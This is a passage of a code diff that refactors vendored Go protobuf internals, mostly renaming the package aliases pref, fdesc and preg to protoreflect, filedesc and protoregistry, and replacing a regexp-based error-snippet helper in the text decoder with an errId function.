"fixed32": switch goType.Kind() { case reflect.Int32: - f.L1.Kind = pref.Sfixed32Kind + f.L1.Kind = protoreflect.Sfixed32Kind case reflect.Uint32: - f.L1.Kind = pref.Fixed32Kind + f.L1.Kind = protoreflect.Fixed32Kind case reflect.Float32: - f.L1.Kind = pref.FloatKind + f.L1.Kind = protoreflect.FloatKind } case s == "fixed64": switch goType.Kind() { case reflect.Int64: - f.L1.Kind = pref.Sfixed64Kind + f.L1.Kind = protoreflect.Sfixed64Kind case reflect.Uint64: - f.L1.Kind = pref.Fixed64Kind + f.L1.Kind = protoreflect.Fixed64Kind case reflect.Float64: - f.L1.Kind = pref.DoubleKind + f.L1.Kind = protoreflect.DoubleKind } case s == "bytes": switch { case goType.Kind() == reflect.String: - f.L1.Kind = pref.StringKind + f.L1.Kind = protoreflect.StringKind case goType.Kind() == reflect.Slice && goType.Elem() == byteType: - f.L1.Kind = pref.BytesKind + f.L1.Kind = protoreflect.BytesKind default: - f.L1.Kind = pref.MessageKind + f.L1.Kind = protoreflect.MessageKind } case s == "group": - f.L1.Kind = pref.GroupKind + f.L1.Kind = protoreflect.GroupKind case strings.HasPrefix(s, "enum="): - f.L1.Kind = pref.EnumKind + f.L1.Kind = protoreflect.EnumKind case strings.HasPrefix(s, "json="): jsonName := s[len("json="):] if jsonName != strs.JSONCamelCase(string(f.L0.FullName.Name())) { @@ -111,23 +111,23 @@ func Unmarshal(tag string, goType reflect.Type, evs pref.EnumValueDescriptors) p f.L1.IsPacked = true case strings.HasPrefix(s, "weak="): f.L1.IsWeak = true - f.L1.Message = fdesc.PlaceholderMessage(pref.FullName(s[len("weak="):])) + f.L1.Message = filedesc.PlaceholderMessage(protoreflect.FullName(s[len("weak="):])) case strings.HasPrefix(s, "def="): // The default tag is special in that everything afterwards is the // default regardless of the presence of commas. s, i = tag[len("def="):], len(tag) v, ev, _ := defval.Unmarshal(s, f.L1.Kind, evs, defval.GoTag) - f.L1.Default = fdesc.DefaultValue(v, ev) + f.L1.Default = filedesc.DefaultValue(v, ev) case s == "proto3": - f.L0.ParentFile = fdesc.SurrogateProto3 + f.L0.ParentFile = filedesc.SurrogateProto3 } tag = strings.TrimPrefix(tag[i:], ",") } // The generator uses the group message name instead of the field name. // We obtain the real field name by lowercasing the group name. - if f.L1.Kind == pref.GroupKind { - f.L0.FullName = pref.FullName(strings.ToLower(string(f.L0.FullName))) + if f.L1.Kind == protoreflect.GroupKind { + f.L0.FullName = protoreflect.FullName(strings.ToLower(string(f.L0.FullName))) } return f } @@ -140,38 +140,38 @@ func Unmarshal(tag string, goType reflect.Type, evs pref.EnumValueDescriptors) p // Depending on the context on how Marshal is called, there are different ways // through which that information is determined. As such it is the caller's // responsibility to provide a function to obtain that information. -func Marshal(fd pref.FieldDescriptor, enumName string) string { +func Marshal(fd protoreflect.FieldDescriptor, enumName string) string { var tag []string switch fd.Kind() { - case pref.BoolKind, pref.EnumKind, pref.Int32Kind, pref.Uint32Kind, pref.Int64Kind, pref.Uint64Kind: + case protoreflect.BoolKind, protoreflect.EnumKind, protoreflect.Int32Kind, protoreflect.Uint32Kind, protoreflect.Int64Kind, protoreflect.Uint64Kind: tag = append(tag, "varint") - case pref.Sint32Kind: + case protoreflect.Sint32Kind: tag = append(tag, "zigzag32") - case pref.Sint64Kind: + case protoreflect.Sint64Kind: tag = append(tag, "zigzag64") - case pref.Sfixed32Kind, pref.Fixed32Kind, pref.FloatKind: + case protoreflect.Sfixed32Kind, protoreflect.Fixed32Kind, protoreflect.FloatKind: tag = append(tag, "fixed32") - case pref.Sfixed64Kind, pref.Fixed64Kind, pref.DoubleKind: + case protoreflect.Sfixed64Kind, protoreflect.Fixed64Kind, protoreflect.DoubleKind: tag = append(tag, "fixed64") - case pref.StringKind, pref.BytesKind, pref.MessageKind: + case protoreflect.StringKind, protoreflect.BytesKind, protoreflect.MessageKind: tag = append(tag, "bytes") - case pref.GroupKind: + case protoreflect.GroupKind: tag = append(tag, "group") } tag = append(tag, strconv.Itoa(int(fd.Number()))) switch fd.Cardinality() { - case pref.Optional: + case protoreflect.Optional: tag = append(tag, "opt") - case pref.Required: + case protoreflect.Required: tag = append(tag, "req") - case pref.Repeated: + case protoreflect.Repeated: tag = append(tag, "rep") } if fd.IsPacked() { tag = append(tag, "packed") } name := string(fd.Name()) - if fd.Kind() == pref.GroupKind { + if fd.Kind() == protoreflect.GroupKind { // The name of the FieldDescriptor for a group field is // lowercased. To find the original capitalization, we // look in the field's MessageType. @@ -189,10 +189,10 @@ func Marshal(fd pref.FieldDescriptor, enumName string) string { // The previous implementation does not tag extension fields as proto3, // even when the field is defined in a proto3 file. Match that behavior // for consistency. - if fd.Syntax() == pref.Proto3 && !fd.IsExtension() { + if fd.Syntax() == protoreflect.Proto3 && !fd.IsExtension() { tag = append(tag, "proto3") } - if fd.Kind() == pref.EnumKind && enumName != "" { + if fd.Kind() == protoreflect.EnumKind && enumName != "" { tag = append(tag, "enum="+enumName) } if fd.ContainingOneof() != nil { diff --git a/vendor/google.golang.org/protobuf/internal/encoding/text/decode.go b/vendor/google.golang.org/protobuf/internal/encoding/text/decode.go index 37803773f..427c62d03 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/text/decode.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/text/decode.go @@ -8,7 +8,6 @@ import ( "bytes" "fmt" "io" - "regexp" "strconv" "unicode/utf8" @@ -421,7 +420,7 @@ func (d *Decoder) parseFieldName() (tok Token, err error) { return Token{}, d.newSyntaxError("invalid field number: %s", d.in[:num.size]) } - return Token{}, d.newSyntaxError("invalid field name: %s", errRegexp.Find(d.in)) + return Token{}, d.newSyntaxError("invalid field name: %s", errId(d.in)) } // parseTypeName parses Any type URL or extension field name. The name is @@ -571,7 +570,7 @@ func (d *Decoder) parseScalar() (Token, error) { return tok, nil } - return Token{}, d.newSyntaxError("invalid scalar value: %s", errRegexp.Find(d.in)) + return Token{}, d.newSyntaxError("invalid scalar value: %s", errId(d.in)) } // parseLiteralValue parses a literal value. A literal value is used for @@ -653,8 +652,29 @@ func consume(b []byte, n int) []byte { return b } -// Any sequence that looks like a non-delimiter (for error reporting). -var errRegexp = regexp.MustCompile(`^([-+._a-zA-Z0-9\/]+|.)`) +// errId extracts a byte sequence that looks like an invalid ID +// (for the purposes of error reporting). +func errId(seq []byte) []byte { + const maxLen = 32 + for i := 0; i < len(seq); { + if i > maxLen { + return append(seq[:i:i], "…"...) + } + r, size := utf8.DecodeRune(seq[i:]) + if r > utf8.RuneSelf || (r != '/' && isDelim(byte(r))) { + if i == 0 { + // Either the first byte is invalid UTF-8 or a + // delimiter, or the first rune is non-ASCII. + // Return it as-is. + i = size + } + return seq[:i:i] + } + i += size + } + // No delimiter found. + return seq +} // isDelim returns true if given byte is a delimiter character. func isDelim(c byte) bool { diff --git a/vendor/google.golang.org/protobuf/internal/encoding/text/decode_number.go b/vendor/google.golang.org/protobuf/internal/encoding/text/decode_number.go index f2d90b789..81a5d8c86 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/text/decode_number.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/text/decode_number.go @@ -50,8 +50,10 @@ type number struct { // parseNumber constructs a number object from given input. It allows for the // following patterns: -// integer: ^-?([1-9][0-9]*|0[xX][0-9a-fA-F]+|0[0-7]*) -// float: ^-?((0|[1-9][0-9]*)?([.][0-9]*)?([eE][+-]?[0-9]+)?[fF]?) +// +// integer: ^-?([1-9][0-9]*|0[xX][0-9a-fA-F]+|0[0-7]*) +// float: ^-?((0|[1-9][0-9]*)?([.][0-9]*)?([eE][+-]?[0-9]+)?[fF]?) +// // It also returns the number of parsed bytes for the given number, 0 if it is // not a number. func parseNumber(input []byte) number { diff --git a/vendor/google.golang.org/protobuf/internal/encoding/text/doc.go b/vendor/google.golang.org/protobuf/internal/encoding/text/doc.go index 0ce8d6fb8..7ae6c2a3c 100644 --- a/vendor/google.golang.org/protobuf/internal/encoding/text/doc.go +++ b/vendor/google.golang.org/protobuf/internal/encoding/text/doc.go @@ -24,6 +24,6 @@ // the Go implementation should as well. // // The text format is almost a superset of JSON except: -// * message keys are not quoted strings, but identifiers -// * the top-level value must be a message without the delimiters +// - message keys are not quoted strings, but identifiers +// - the top-level value must be a message without the delimiters package text diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/build.go b/vendor/google.golang.org/protobuf/internal/filedesc/build.go index b293b6947..7cac1c190 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/build.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/build.go @@ -12,8 +12,7 @@ import ( "google.golang.org/protobuf/encoding/protowire" "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/reflect/protoreflect" - pref "google.golang.org/protobuf/reflect/protoreflect" - preg "google.golang.org/protobuf/reflect/protoregistry" + "google.golang.org/protobuf/reflect/protoregistry" ) // Builder construct a protoreflect.FileDescriptor from the raw descriptor. @@ -38,7 +37,7 @@ type Builder struct { // TypeResolver resolves extension field types for descriptor options. // If nil, it uses protoregistry.GlobalTypes. TypeResolver interface { - preg.ExtensionTypeResolver + protoregistry.ExtensionTypeResolver } // FileRegistry is use to lookup file, enum, and message dependencies. @@ -46,8 +45,8 @@ type Builder struct { // If nil, it uses protoregistry.GlobalFiles. FileRegistry interface { FindFileByPath(string) (protoreflect.FileDescriptor, error) - FindDescriptorByName(pref.FullName) (pref.Descriptor, error) - RegisterFile(pref.FileDescriptor) error + FindDescriptorByName(protoreflect.FullName) (protoreflect.Descriptor, error) + RegisterFile(protoreflect.FileDescriptor) error } } @@ -55,8 +54,8 @@ type Builder struct { // If so, it permits looking up an enum or message dependency based on the // sub-list and element index into filetype.Builder.DependencyIndexes. type resolverByIndex interface { - FindEnumByIndex(int32, int32, []Enum, []Message) pref.EnumDescriptor - FindMessageByIndex(int32, int32, []Enum, []Message) pref.MessageDescriptor + FindEnumByIndex(int32, int32, []Enum, []Message) protoreflect.EnumDescriptor + FindMessageByIndex(int32, int32, []Enum, []Message) protoreflect.MessageDescriptor } // Indexes of each sub-list in filetype.Builder.DependencyIndexes. @@ -70,7 +69,7 @@ const ( // Out is the output of the Builder. type Out struct { - File pref.FileDescriptor + File protoreflect.FileDescriptor // Enums is all enum descriptors in "flattened ordering". Enums []Enum @@ -97,10 +96,10 @@ func (db Builder) Build() (out Out) { // Initialize resolvers and registries if unpopulated. if db.TypeResolver == nil { - db.TypeResolver = preg.GlobalTypes + db.TypeResolver = protoregistry.GlobalTypes } if db.FileRegistry == nil { - db.FileRegistry = preg.GlobalFiles + db.FileRegistry = protoregistry.GlobalFiles } fd := newRawFile(db) diff --git a/vendor/google.golang.org/protobuf/internal/filedesc/desc.go b/vendor/google.golang.org/protobuf/internal/filedesc/desc.go index 98ab142ae..7c3689bae 100644 --- a/vendor/google.golang.org/protobuf/internal/filedesc/desc.go +++ b/vendor/google.golang.org/protobuf/internal/filedesc/desc.go @@ -17,7 +17,7 @@ import ( "google.golang.org/protobuf/internal/genid" "google.golang.org/protobuf/internal/pragma" "google.golang.org/protobuf/internal/strs" - pref "google.golang.org/protobuf/reflect/protoreflect" + "google.golang.org/protobuf/reflect/protoreflect" "google.golang.org/protobuf/reflect/protoregistry" ) @@ -43,9 +43,9 @@ type ( L2 *FileL2 } FileL1 struct { - Syntax pref.Syntax + Syntax protoreflect.Syntax Path string - Package pref.FullName + Package protoreflect.FullName Enums Enums Messages Messages @@ -53,36 +53,36 @@ type ( Services Services } FileL2 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage Imports FileImports Locations SourceLocations } ) -func (fd *File) ParentFile() pref.FileDescriptor { return fd } -func (fd *File) Parent() pref.Descriptor { return nil } -func (fd *File) Index() int { return 0 } -func (fd *File) Syntax() pref.Syntax { return fd.L1.Syntax } -func (fd *File) Name() pref.Name { return fd.L1.Package.Name() } -func (fd *File) FullName() pref.FullName { return fd.L1.Package } -func (fd *File) IsPlaceholder() bool { return false } -func (fd *File) Options() pref.ProtoMessage { +func (fd *File) ParentFile() protoreflect.FileDescriptor { return fd } +func (fd *File) Parent() protoreflect.Descriptor { return nil } +func (fd *File) Index() int { return 0 } +func (fd *File) Syntax() protoreflect.Syntax { return fd.L1.Syntax } +func (fd *File) Name() protoreflect.Name { return fd.L1.Package.Name() } +func (fd *File) FullName() protoreflect.FullName { return fd.L1.Package } +func (fd *File) IsPlaceholder() bool { return false } +func (fd *File) Options() protoreflect.ProtoMessage { if f := fd.lazyInit().Options; f != nil { return f() } return descopts.File } -func (fd *File) Path() string { return fd.L1.Path } -func (fd *File) Package() pref.FullName { return fd.L1.Package } -func (fd *File) Imports() pref.FileImports { return &fd.lazyInit().Imports } -func (fd *File) Enums() pref.EnumDescriptors { return &fd.L1.Enums } -func (fd *File) Messages() pref.MessageDescriptors { return &fd.L1.Messages } -func (fd *File) Extensions() pref.ExtensionDescriptors { return &fd.L1.Extensions } -func (fd *File) Services() pref.ServiceDescriptors { return &fd.L1.Services } -func (fd *File) SourceLocations() pref.SourceLocations { return &fd.lazyInit().Locations } -func (fd *File) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, fd) } -func (fd *File) ProtoType(pref.FileDescriptor) {} -func (fd *File) ProtoInternal(pragma.DoNotImplement) {} +func (fd *File) Path() string { return fd.L1.Path } +func (fd *File) Package() protoreflect.FullName { return fd.L1.Package } +func (fd *File) Imports() protoreflect.FileImports { return &fd.lazyInit().Imports } +func (fd *File) Enums() protoreflect.EnumDescriptors { return &fd.L1.Enums } +func (fd *File) Messages() protoreflect.MessageDescriptors { return &fd.L1.Messages } +func (fd *File) Extensions() protoreflect.ExtensionDescriptors { return &fd.L1.Extensions } +func (fd *File) Services() protoreflect.ServiceDescriptors { return &fd.L1.Services } +func (fd *File) SourceLocations() protoreflect.SourceLocations { return &fd.lazyInit().Locations } +func (fd *File) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, fd) } +func (fd *File) ProtoType(protoreflect.FileDescriptor) {} +func (fd *File) ProtoInternal(pragma.DoNotImplement) {} func (fd *File) lazyInit() *FileL2 { if atomic.LoadUint32(&fd.once) == 0 { @@ -119,7 +119,7 @@ type ( eagerValues bool // controls whether EnumL2.Values is already populated } EnumL2 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage Values EnumValues ReservedNames Names ReservedRanges EnumRanges @@ -130,41 +130,41 @@ type ( L1 EnumValueL1 } EnumValueL1 struct { - Options func() pref.ProtoMessage - Number pref.EnumNumber + Options func() protoreflect.ProtoMessage + Number protoreflect.EnumNumber } ) -func (ed *Enum) Options() pref.ProtoMessage { +func (ed *Enum) Options() protoreflect.ProtoMessage { if f := ed.lazyInit().Options; f != nil { return f() } return descopts.Enum } -func (ed *Enum) Values() pref.EnumValueDescriptors { +func (ed *Enum) Values() protoreflect.EnumValueDescriptors { if ed.L1.eagerValues { return &ed.L2.Values } return &ed.lazyInit().Values } -func (ed *Enum) ReservedNames() pref.Names { return &ed.lazyInit().ReservedNames } -func (ed *Enum) ReservedRanges() pref.EnumRanges { return &ed.lazyInit().ReservedRanges } -func (ed *Enum) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, ed) } -func (ed *Enum) ProtoType(pref.EnumDescriptor) {} +func (ed *Enum) ReservedNames() protoreflect.Names { return &ed.lazyInit().ReservedNames } +func (ed *Enum) ReservedRanges() protoreflect.EnumRanges { return &ed.lazyInit().ReservedRanges } +func (ed *Enum) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, ed) } +func (ed *Enum) ProtoType(protoreflect.EnumDescriptor) {} func (ed *Enum) lazyInit() *EnumL2 { ed.L0.ParentFile.lazyInit() // implicitly initializes L2 return ed.L2 } -func (ed *EnumValue) Options() pref.ProtoMessage { +func (ed *EnumValue) Options() protoreflect.ProtoMessage { if f := ed.L1.Options; f != nil { return f() } return descopts.EnumValue } -func (ed *EnumValue) Number() pref.EnumNumber { return ed.L1.Number } -func (ed *EnumValue) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, ed) } -func (ed *EnumValue) ProtoType(pref.EnumValueDescriptor) {} +func (ed *EnumValue) Number() protoreflect.EnumNumber { return ed.L1.Number } +func (ed *EnumValue) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, ed) } +func (ed *EnumValue) ProtoType(protoreflect.EnumValueDescriptor) {} type ( Message struct { @@ -180,14 +180,14 @@ type ( IsMessageSet bool // promoted from google.protobuf.MessageOptions } MessageL2 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage Fields Fields Oneofs Oneofs ReservedNames Names ReservedRanges FieldRanges RequiredNumbers FieldNumbers // must be consistent with Fields.Cardinality ExtensionRanges FieldRanges - ExtensionRangeOptions []func() pref.ProtoMessage // must be same length as ExtensionRanges + ExtensionRangeOptions []func() protoreflect.ProtoMessage // must be same length as ExtensionRanges } Field struct { @@ -195,10 +195,10 @@ type ( L1 FieldL1 } FieldL1 struct { - Options func() pref.ProtoMessage - Number pref.FieldNumber - Cardinality pref.Cardinality // must be consistent with Message.RequiredNumbers - Kind pref.Kind + Options func() protoreflect.ProtoMessage + Number protoreflect.FieldNumber + Cardinality protoreflect.Cardinality // must be consistent with Message.RequiredNumbers + Kind protoreflect.Kind StringName stringName IsProto3Optional bool // promoted from google.protobuf.FieldDescriptorProto IsWeak bool // promoted from google.protobuf.FieldOptions @@ -207,9 +207,9 @@ type ( HasEnforceUTF8 bool // promoted from google.protobuf.FieldOptions EnforceUTF8 bool // promoted from google.protobuf.FieldOptions Default defaultValue - ContainingOneof pref.OneofDescriptor // must be consistent with Message.Oneofs.Fields - Enum pref.EnumDescriptor - Message pref.MessageDescriptor + ContainingOneof protoreflect.OneofDescriptor // must be consistent with Message.Oneofs.Fields + Enum protoreflect.EnumDescriptor + Message protoreflect.MessageDescriptor } Oneof struct { @@ -217,35 +217,35 @@ type ( L1 OneofL1 } OneofL1 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage Fields OneofFields // must be consistent with Message.Fields.ContainingOneof } ) -func (md *Message) Options() pref.ProtoMessage { +func (md *Message) Options() protoreflect.ProtoMessage { if f := md.lazyInit().Options; f != nil { return f() } return descopts.Message } -func (md *Message) IsMapEntry() bool { return md.L1.IsMapEntry } -func (md *Message) Fields() pref.FieldDescriptors { return &md.lazyInit().Fields } -func (md *Message) Oneofs() pref.OneofDescriptors { return &md.lazyInit().Oneofs } -func (md *Message) ReservedNames() pref.Names { return &md.lazyInit().ReservedNames } -func (md *Message) ReservedRanges() pref.FieldRanges { return &md.lazyInit().ReservedRanges } -func (md *Message) RequiredNumbers() pref.FieldNumbers { return &md.lazyInit().RequiredNumbers } -func (md *Message) ExtensionRanges() pref.FieldRanges { return &md.lazyInit().ExtensionRanges } -func (md *Message) ExtensionRangeOptions(i int) pref.ProtoMessage { +func (md *Message) IsMapEntry() bool { return md.L1.IsMapEntry } +func (md *Message) Fields() protoreflect.FieldDescriptors { return &md.lazyInit().Fields } +func (md *Message) Oneofs() protoreflect.OneofDescriptors { return &md.lazyInit().Oneofs } +func (md *Message) ReservedNames() protoreflect.Names { return &md.lazyInit().ReservedNames } +func (md *Message) ReservedRanges() protoreflect.FieldRanges { return &md.lazyInit().ReservedRanges } +func (md *Message) RequiredNumbers() protoreflect.FieldNumbers { return &md.lazyInit().RequiredNumbers } +func (md *Message) ExtensionRanges() protoreflect.FieldRanges { return &md.lazyInit().ExtensionRanges } +func (md *Message) ExtensionRangeOptions(i int) protoreflect.ProtoMessage { if f := md.lazyInit().ExtensionRangeOptions[i]; f != nil { return f() } return descopts.ExtensionRange } -func (md *Message) Enums() pref.EnumDescriptors { return &md.L1.Enums } -func (md *Message) Messages() pref.MessageDescriptors { return &md.L1.Messages } -func (md *Message) Extensions() pref.ExtensionDescriptors { return &md.L1.Extensions } -func (md *Message) ProtoType(pref.MessageDescriptor) {} -func (md *Message) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, md) } +func (md *Message) Enums() protoreflect.EnumDescriptors { return &md.L1.Enums } +func (md *Message) Messages() protoreflect.MessageDescriptors { return &md.L1.Messages } +func (md *Message) Extensions() protoreflect.ExtensionDescriptors { return &md.L1.Extensions } +func (md *Message) ProtoType(protoreflect.MessageDescriptor) {} +func (md *Message) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, md) } func (md *Message) lazyInit() *MessageL2 { md.L0.ParentFile.lazyInit() // implicitly initializes L2 return md.L2 @@ -260,28 +260,28 @@ func (md *Message) IsMessageSet() bool { return md.L1.IsMessageSet } -func (fd *Field) Options() pref.ProtoMessage { +func (fd *Field) Options() protoreflect.ProtoMessage { if f := fd.L1.Options; f != nil { return f() } return descopts.Field } -func (fd *Field) Number() pref.FieldNumber { return fd.L1.Number } -func (fd *Field) Cardinality() pref.Cardinality { return fd.L1.Cardinality } -func (fd *Field) Kind() pref.Kind { return fd.L1.Kind } -func (fd *Field) HasJSONName() bool { return fd.L1.StringName.hasJSON } -func (fd *Field) JSONName() string { return fd.L1.StringName.getJSON(fd) } -func (fd *Field) TextName() string { return fd.L1.StringName.getText(fd) } +func (fd *Field) Number() protoreflect.FieldNumber { return fd.L1.Number } +func (fd *Field) Cardinality() protoreflect.Cardinality { return fd.L1.Cardinality } +func (fd *Field) Kind() protoreflect.Kind { return fd.L1.Kind } +func (fd *Field) HasJSONName() bool { return fd.L1.StringName.hasJSON } +func (fd *Field) JSONName() string { return fd.L1.StringName.getJSON(fd) } +func (fd *Field) TextName() string { return fd.L1.StringName.getText(fd) } func (fd *Field) HasPresence() bool { - return fd.L1.Cardinality != pref.Repeated && (fd.L0.ParentFile.L1.Syntax == pref.Proto2 || fd.L1.Message != nil || fd.L1.ContainingOneof != nil) + return fd.L1.Cardinality != protoreflect.Repeated && (fd.L0.ParentFile.L1.Syntax == protoreflect.Proto2 || fd.L1.Message != nil || fd.L1.ContainingOneof != nil) } func (fd *Field) HasOptionalKeyword() bool { - return (fd.L0.ParentFile.L1.Syntax == pref.Proto2 && fd.L1.Cardinality == pref.Optional && fd.L1.ContainingOneof == nil) || fd.L1.IsProto3Optional + return (fd.L0.ParentFile.L1.Syntax == protoreflect.Proto2 && fd.L1.Cardinality == protoreflect.Optional && fd.L1.ContainingOneof == nil) || fd.L1.IsProto3Optional } func (fd *Field) IsPacked() bool { - if !fd.L1.HasPacked && fd.L0.ParentFile.L1.Syntax != pref.Proto2 && fd.L1.Cardinality == pref.Repeated { + if !fd.L1.HasPacked && fd.L0.ParentFile.L1.Syntax != protoreflect.Proto2 && fd.L1.Cardinality == protoreflect.Repeated { switch fd.L1.Kind { - case pref.StringKind, pref.BytesKind, pref.MessageKind, pref.GroupKind: + case protoreflect.StringKind, protoreflect.BytesKind, protoreflect.MessageKind, protoreflect.GroupKind: default: return true } @@ -290,40 +290,40 @@ func (fd *Field) IsPacked() bool { } func (fd *Field) IsExtension() bool { return false } func (fd *Field) IsWeak() bool { return fd.L1.IsWeak } -func (fd *Field) IsList() bool { return fd.Cardinality() == pref.Repeated && !fd.IsMap() } +func (fd *Field) IsList() bool { return fd.Cardinality() == protoreflect.Repeated && !fd.IsMap() } func (fd *Field) IsMap() bool { return fd.Message() != nil && fd.Message().IsMapEntry() } -func (fd *Field) MapKey() pref.FieldDescriptor { +func (fd *Field) MapKey() protoreflect.FieldDescriptor { if !fd.IsMap() { return nil } return fd.Message().Fields().ByNumber(genid.MapEntry_Key_field_number) } -func (fd *Field) MapValue() pref.FieldDescriptor { +func (fd *Field) MapValue() protoreflect.FieldDescriptor { if !fd.IsMap() { return nil } return fd.Message().Fields().ByNumber(genid.MapEntry_Value_field_number) } -func (fd *Field) HasDefault() bool { return fd.L1.Default.has } -func (fd *Field) Default() pref.Value { return fd.L1.Default.get(fd) } -func (fd *Field) DefaultEnumValue() pref.EnumValueDescriptor { return fd.L1.Default.enum } -func (fd *Field) ContainingOneof() pref.OneofDescriptor { return fd.L1.ContainingOneof } -func (fd *Field) ContainingMessage() pref.MessageDescriptor { - return fd.L0.Parent.(pref.MessageDescriptor) +func (fd *Field) HasDefault() bool { return fd.L1.Default.has } +func (fd *Field) Default() protoreflect.Value { return fd.L1.Default.get(fd) } +func (fd *Field) DefaultEnumValue() protoreflect.EnumValueDescriptor { return fd.L1.Default.enum } +func (fd *Field) ContainingOneof() protoreflect.OneofDescriptor { return fd.L1.ContainingOneof } +func (fd *Field) ContainingMessage() protoreflect.MessageDescriptor { + return fd.L0.Parent.(protoreflect.MessageDescriptor) } -func (fd *Field) Enum() pref.EnumDescriptor { +func (fd *Field) Enum() protoreflect.EnumDescriptor { return fd.L1.Enum } -func (fd *Field) Message() pref.MessageDescriptor { +func (fd *Field) Message() protoreflect.MessageDescriptor { if fd.L1.IsWeak { if d, _ := protoregistry.GlobalFiles.FindDescriptorByName(fd.L1.Message.FullName()); d != nil { - return d.(pref.MessageDescriptor) + return d.(protoreflect.MessageDescriptor) } } return fd.L1.Message } -func (fd *Field) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, fd) } -func (fd *Field) ProtoType(pref.FieldDescriptor) {} +func (fd *Field) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, fd) } +func (fd *Field) ProtoType(protoreflect.FieldDescriptor) {} // EnforceUTF8 is a pseudo-internal API to determine whether to enforce UTF-8 // validation for the string field. This exists for Google-internal use only @@ -336,21 +336,21 @@ func (fd *Field) EnforceUTF8() bool { if fd.L1.HasEnforceUTF8 { return fd.L1.EnforceUTF8 } - return fd.L0.ParentFile.L1.Syntax == pref.Proto3 + return fd.L0.ParentFile.L1.Syntax == protoreflect.Proto3 } func (od *Oneof) IsSynthetic() bool { - return od.L0.ParentFile.L1.Syntax == pref.Proto3 && len(od.L1.Fields.List) == 1 && od.L1.Fields.List[0].HasOptionalKeyword() + return od.L0.ParentFile.L1.Syntax == protoreflect.Proto3 && len(od.L1.Fields.List) == 1 && od.L1.Fields.List[0].HasOptionalKeyword() } -func (od *Oneof) Options() pref.ProtoMessage { +func (od *Oneof) Options() protoreflect.ProtoMessage { if f := od.L1.Options; f != nil { return f() } return descopts.Oneof } -func (od *Oneof) Fields() pref.FieldDescriptors { return &od.L1.Fields } -func (od *Oneof) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, od) } -func (od *Oneof) ProtoType(pref.OneofDescriptor) {} +func (od *Oneof) Fields() protoreflect.FieldDescriptors { return &od.L1.Fields } +func (od *Oneof) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, od) } +func (od *Oneof) ProtoType(protoreflect.OneofDescriptor) {} type ( Extension struct { @@ -359,55 +359,57 @@ type ( L2 *ExtensionL2 // protected by fileDesc.once } ExtensionL1 struct { - Number pref.FieldNumber - Extendee pref.MessageDescriptor - Cardinality pref.Cardinality - Kind pref.Kind + Number protoreflect.FieldNumber + Extendee protoreflect.MessageDescriptor + Cardinality protoreflect.Cardinality + Kind protoreflect.Kind } ExtensionL2 struct { - Options func() pref.ProtoMessage + Options func() protoreflect.ProtoMessage StringName stringName IsProto3Optional bool // promoted from google.protobuf.FieldDescriptorProto IsPacked bool // promoted from google.protobuf.FieldOptions Default defaultValue - Enum pref.EnumDescriptor - Message pref.MessageDescriptor + Enum protoreflect.EnumDescriptor + Message protoreflect.MessageDescriptor } ) -func (xd *Extension) Options() pref.ProtoMessage { +func (xd *Extension) Options() protoreflect.ProtoMessage { if f := xd.lazyInit().Options; f != nil { return f() } return descopts.Field } -func (xd *Extension) Number() pref.FieldNumber { return xd.L1.Number } -func (xd *Extension) Cardinality() pref.Cardinality { return xd.L1.Cardinality } -func (xd *Extension) Kind() pref.Kind { return xd.L1.Kind } -func (xd *Extension) HasJSONName() bool { return xd.lazyInit().StringName.hasJSON } -func (xd *Extension) JSONName() string { return xd.lazyInit().StringName.getJSON(xd) } -func (xd *Extension) TextName() string { return xd.lazyInit().StringName.getText(xd) } -func (xd *Extension) HasPresence() bool { return xd.L1.Cardinality != pref.Repeated } +func (xd *Extension) Number() protoreflect.FieldNumber { return xd.L1.Number } +func (xd *Extension) Cardinality() protoreflect.Cardinality { return xd.L1.Cardinality } +func (xd *Extension) Kind() protoreflect.Kind { return xd.L1.Kind } +func (xd *Extension) HasJSONName() bool { return xd.lazyInit().StringName.hasJSON } +func (xd *Extension) JSONName() string { return xd.lazyInit().StringName.getJSON(xd) } +func (xd *Extension) TextName() string { return xd.lazyInit().StringName.getText(xd) } +func (xd *Extension) HasPresence() bool { return xd.L1.Cardinality != protoreflect.Repeated } func (xd *Extension) HasOptionalKeyword() bool { - return (xd.L0.ParentFile.L1.Syntax == pref.Proto2 && xd.L1.Cardinality == pref.Optional) || xd.lazyInit().IsProto3Optional -} -func (xd *Extension) IsPacked() bool { return xd.lazyInit().IsPacked } -func (xd *Extension) IsExtension() bool { return true } -func (xd *Extension) IsWeak() bool { return false } -func (xd *Extension) IsList() bool { return xd.Cardinality() == pref.Repeated } -func (xd *Extension) IsMap() bool { return false } -func (xd *Extension) MapKey() pref.FieldDescriptor { return nil } -func (xd *Extension) MapValue() pref.FieldDescriptor { return nil } -func (xd *Extension) HasDefault() bool { return xd.lazyInit().Default.has } -func (xd *Extension) Default() pref.Value { return xd.lazyInit().Default.get(xd) } -func (xd *Extension) DefaultEnumValue() pref.EnumValueDescriptor { return xd.lazyInit().Default.enum } -func (xd *Extension) ContainingOneof() pref.OneofDescriptor { return nil } -func (xd *Extension) ContainingMessage() pref.MessageDescriptor { return xd.L1.Extendee } -func (xd *Extension) Enum() pref.EnumDescriptor { return xd.lazyInit().Enum } -func (xd *Extension) Message() pref.MessageDescriptor { return xd.lazyInit().Message } -func (xd *Extension) Format(s fmt.State, r rune) { descfmt.FormatDesc(s, r, xd) } 